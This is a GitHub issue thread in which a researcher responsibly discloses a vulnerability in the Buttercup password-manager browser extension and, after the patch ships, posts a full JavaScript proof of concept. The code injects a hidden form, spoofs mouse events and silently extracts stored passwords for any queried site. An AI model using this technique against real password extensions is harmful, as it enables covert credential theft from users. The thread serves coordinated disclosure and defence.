buttercup / buttercup-browser-extension

:earth_asia: Buttercup browser extension
https://buttercup.pw
MIT License
230 stars 42 forks source link

Security Vulnerabilty when browsing compromised sites #92

Closed lukechilds closed 6 years ago

lukechilds commented 6 years ago

With the Chrome extension installed, any web page can query the password store without the user's permission.

I've written a getPassword function that works like so:

const password = await getPassword('github.com');
// 'mysecretpassword'

I know this is still beta but it's had over 1K downloads on the Chrome Web Store so probably best not to post my source publicly. What's the best way to contact you privately with more information?

Update: This has now been resolved. Full disclosure here: https://github.com/buttercup/buttercup-browser-extension/issues/92#issuecomment-372991430

perry-mitchell commented 6 years ago

Keybase at @perrymitchell. We're working on this, but please don't hesitate to contact me 😊

lukechilds commented 6 years ago

Messaged you on Keybase 👍

If you let me know when you've pushed a new version to the Chrome Web Store resolving the issue I'll post the message here for anyone interested in the details.

Update: https://github.com/buttercup/buttercup-browser-extension/issues/92#issuecomment-372991430

perry-mitchell commented 6 years ago

Thanks @lukechilds for pushing this forward.. We've confirmed the details and will hopefully have a new version out soon.

For those concerned, the risk is real but would require an attacker writing specified code for our extension and having you browse to a site running their malicious code. We take this seriously and will patch this issue by releasing the new major version as soon as it's ready.

lukechilds commented 6 years ago

Any update on this guys?

perry-mitchell commented 6 years ago

Still in progress @lukechilds - Christmas period was quite slow for us.

lukechilds commented 6 years ago

May be worth checking out the code for the existing Chrome extension and pushing an update disabling it and showing an update will come soon or something.

It's a pretty nasty vulnerability to have live on lots of users machines 😬

perry-mitchell commented 6 years ago

@lukechilds From my understanding it's really not something we can disable. The vulnerability is caused by the design on the extension, which is changed in the upcoming version. I can't think of any good way to bypass the issue besides changing the way the entire extension interacts with webpages.

If you have a suggestion to preventing this issue please let me know in keybase.. but I'd at this stage rather try to get the extension updated than try to do halfway patches to the old one..

lukechilds commented 6 years ago

I meant disable the entire extension. So opening the extension will just show a popup saying the extension is disabled until a critical security vulnerability is fixed.

perry-mitchell commented 6 years ago

@lukechilds I would agree that disabling the extension would be a good idea when a prolonged period of using the vulnerable version is inevitable.. but I expect the new version to be reviewed this week with perhaps a release on the weekend.

Normally I would definitely lock the extension - perhaps we could have done this already in December... 🙁

lukechilds commented 6 years ago

That's great news that the new release will be ready soon.

perry-mitchell commented 6 years ago

Planning on releasing tomorrow.. So hopefully this will end up in production soon. Firefox update may be slower due to historically poor review performance on their part.

lukechilds commented 6 years ago

@perry-mitchell I waited quite a bit of time to give people a chance to update.

If you let me know when you've pushed a new version to the Chrome Web Store resolving the issue I'll post the message here for anyone interested in the details.

Do you mind if I post my the details here now?

perry-mitchell commented 6 years ago

@lukechilds Of course, please add them at your leisure. The issue should be resolved now, so I see no risk of having the details exposed here. Thanks!

EDIT: Thanks for the hard work on putting together the vulnerability, too.

lukechilds commented 6 years ago

No problem, congrats on getting the fix out.

For anyone interested or looking how to prevent this kind of attack, the original message I sent in private explaining the exploit is below:


Ok, so this is my source code for the getPassword function:​

const getPassword = query => new Promise(async resolve => {
  const waitForElem = selector => new Promise(resolve => {
    const interval = setInterval(() => {
      const elem = document.querySelector(selector);
      if(elem) {
        resolve(elem);
        clearInterval(interval);
      }
    }, 100);
  });

  const body = await waitForElem('body');
  const container = document.createElement('div');
  container.innerHTML = `
    <style>
      .buttercup-password-stealer,
      [data-buttercup-role="container"] {
        display: none;
      }
    </style>
    <form class="buttercup-password-stealer">
      <input name="password" type="password">
      <input type="submit">
    </form>
  `;
  body.appendChild(container);

  const password = await waitForElem('.buttercup-password-stealer [data-buttercup-input="password"]');
  password.dispatchEvent(new MouseEvent('mousemove', { clientX: 99999999 }));
  password.dispatchEvent(new MouseEvent('click'));

  container.querySelector('[type="submit"]').onclick = e => {
    e.preventDefault();
    resolve(password.value);
    container.remove();
  };

  const search = await waitForElem('[data-buttercup-role="container"] input');
  search.value = query;
  search.dispatchEvent(new CustomEvent('input'));

  const entry = await waitForElem('[data-buttercup-role="listbox"] div div');
  entry.click();
});

When the function is called it'll inject a hidden password form into the DOM, wait for Buttercup to detect it, spoof some mouse events that will trigger the popup to open, search for the user supplied query in the Buttercup popup, listen for the form submit event and capture the password value, then clean everything up and remove the DOM elements. ​ It requires no user interaction, doesn't stop normal usage of Buttercup and doesn't display anything visible on page or do anything to raise suspicion. It executes in a few hundred milliseconds and can run arbitrary search queries against the password store. ​ e.g: ​

// Specific URL
const githubPassword = await getPassword('github.com');
// 'mysecretpassword'

// Fuzzy search
const cryptoExchangePassword = await getPassword('bitcoin');
// 'mysecretpassword'